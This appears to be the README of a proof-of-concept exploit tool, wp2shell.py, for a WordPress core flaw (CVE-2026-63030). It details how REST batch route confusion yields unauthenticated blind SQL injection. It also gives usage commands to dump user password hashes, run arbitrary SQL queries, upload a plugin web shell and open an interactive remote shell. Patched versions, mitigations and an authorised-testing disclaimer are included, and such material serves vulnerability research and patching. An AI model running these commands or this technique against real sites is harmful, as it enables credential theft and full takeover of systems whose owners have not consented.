
CVE-2026-63030
WordPressコアの未認証SQLインジェクションをリモートコード実行に連鎖させる概念実証(PoC)です。RESTバッチルートの混乱(CVE-2026-63030)を利用します。
このエクスプロイトは、到達可能なターゲット以外に資格情報も設定も必要としません。単一のエンドポイント POST /wp-json/batch/v1 を通じてインジェクションに到達します。
この調査結果そのものは、未認証SQLインジェクションです。check はそれを確認し、read は任意のデータベース読み取りを実証します。shell コマンドは任意のポストエクスプロイテーション(回復した管理者資格情報 → プラグインのアップロード → コマンド実行)で、完全な影響を示すために含まれています。これは脆弱性そのものではありません。
| ブランチ | 影響を受けるバージョン | 修正版 |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
6.9.0より前のバージョンは、この連鎖の影響を受けません。
RESTバッチエンドポイント(/batch/v1)は未認証で、1回の呼び出しで複数のサブリクエストを実行します。各サブリクエストが個別に検証され、権限チェックされることに依存しています。
serve_batch_request_v1() は2つの並行配列、$matches(サブリクエストごとの一致したハンドラー)と $validation(サブリクエストごとの検証結果)を構築し、ディスパッチ時に同じオフセットで両方をインデックスします。wp_parse_url() に失敗したパスのサブリクエストは $validation には追加されますが $matches には追加されないため、配列の対応がずれ、サブリクエストが別のサブリクエストのハンドラーの下でディスパッチされます。これがルート混乱です。
このPoCはこのプリミティブを2回ネストします:
requests ボディを伴う POST /wp/v2/posts リクエストが、バッチハンドラー自体の下でディスパッチされます。投稿リクエストとして検証されているため、その requests リストはバッチスキーマと照合されず、サブリクエストは GET を使用できます。メソッド許可リストがバイパスされます。author_exclude 文字列を伴う GET /wp/v2/users リクエスト(ユーザースキーマにはそのようなパラメータがないため、値は検証をそのまま通過します)が、投稿の get_items() の下でディスパッチされます。そこで author_exclude は WP_Query のクエリ変数 author__not_in にマップされ、脆弱なビルドはそれを文字列としてSQLに挿入します。その結果、認証前に到達可能なブールベースおよび時間ベースのブラインドSQLインジェクションが生じます。データベース読み取りアクセスにより管理者パスワードハッシュを取得できます。クラックされると、管理者アクセスはプラグインのアップロードを通じてコード実行をもたらします。
Python 3.8以上と標準ライブラリのみ。サードパーティの依存関係はありません。
リポジトリディレクトリから実行します:
./wp2shell.py <command> <url> [options]
または pip install . を実行すると、PATH 上で wp2shell コマンドが使用できます。
差分時間遅延によって悪用可能性を確認します。データを読み取らず、何も変更しません。
./wp2shell.py check http://target
./wp2shell.py read http://target # server fingerprint
./wp2shell.py read http://target --preset users # user logins and password hashes
./wp2shell.py read http://target --query "SELECT @@version"
任意のポストエクスプロイテーションです。有効な管理者資格情報が必要です。インジェクションはパスワードのハッシュを回復するため、ここでは回復した平文を指定します。
./wp2shell.py shell http://target --user admin --password '<recovered>' --cmd id
./wp2shell.py shell http://target --user admin --password '<recovered>' -i # interactive shell
shell はプラグインWebシェル(ランダムなパスと実行ごとのトークンで保護)をアップロードし、そのパスを表示します。使用後は削除してください。
WordPress 6.9.5 または 7.0.2 に更新してください。それまでの間、エッジで /wp-json/batch/v1 と rest_route=/batch/v1 クエリパラメータの両方をブロックするか、rest_pre_dispatch フィルタを使用してバッチエンドポイントに認証を要求してください。
許可されたセキュリティテストのみを対象としています。自分が所有するシステム、または明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。作者は誤用に対する責任を負いません。
| Option | Applies to | Description |
|---|
--rest-route | すべて | /?rest_route=/batch/v1 を使用します(prettyパーマリンクを使用していないサイト向け)。 |
--proxy URL | すべて | トラフィックをHTTPプロキシ経由でルーティングします(例:Burp)。 |
--timeout N | すべて | リクエストのタイムアウト(秒)。 |
--sleep N | check | インジェクションを確認するために使用する遅延。 |
--preset | read | fingerprint または users。 |
--query | read | 読み取るスカラーSQL式。 |
--prefix | read | データベースのテーブルプレフィックス(デフォルト wp_)。 |
--max-length N | read | 値ごとに読み取る最大文字数(デフォルト128)。 |
--user / --password | shell | 管理者資格情報(ハッシュから回復された平文)。 |
--cmd | shell | 実行するコマンド(-i 使用時は省略)。 |
-i / --interactive | shell | デプロイ後に対話型シェルを開きます。 |